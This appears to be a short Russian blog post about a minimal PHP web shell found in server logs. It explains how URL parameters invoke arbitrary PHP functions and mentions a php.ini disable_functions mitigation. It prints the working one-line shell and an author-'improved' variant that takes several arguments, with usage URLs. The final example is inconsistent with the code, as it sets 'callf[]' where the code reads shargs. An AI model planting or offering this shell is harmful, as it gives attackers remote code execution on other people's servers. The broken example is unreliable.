Или атаки хакеров на PHP в 2021 году
Давеча увидел в логах попытку залить такую вот штуку, решил поделиться. Это самый маленький шелл:
<?= @extract($_REQUEST); @die($callf($shargs));
Собственно тут все просто. Для тех, кто не сразу увидел проблему, поясню: теперь подставляя в URL параметры ?callf=функция&shargs=аргумент можно выполнить простые действия. Например:
http://target.lol/foo/some?callf=date&shargs=Y-m-d
Выведет результат работы date(‘Y-m-d’)
Это самое безобидно. А что можно натворить обидного нафантазируете сами. У меня этот шелл всеравно не сработал из-за настроек безопасности, самое простое это в php.ini перечислить функции для запрета:
disable_functions = extract, …
И так далее. Тогда все функции, указанные в этой настройке будут считаться несуществующими.
Кстати, если бы я писал такой шел, то для 2021 года я бы его модифицировал так:
<?= @extract($_REQUEST); @die(var_dump($callf(…$shargs)));
Это позволяет передавать более одного аргумента, а так же позволяет возвращать массив данных (в отличие от предыдущего варианта):
?callf=glob&callf[]=*
Выведет дамп массива файлов в текущем каталоге.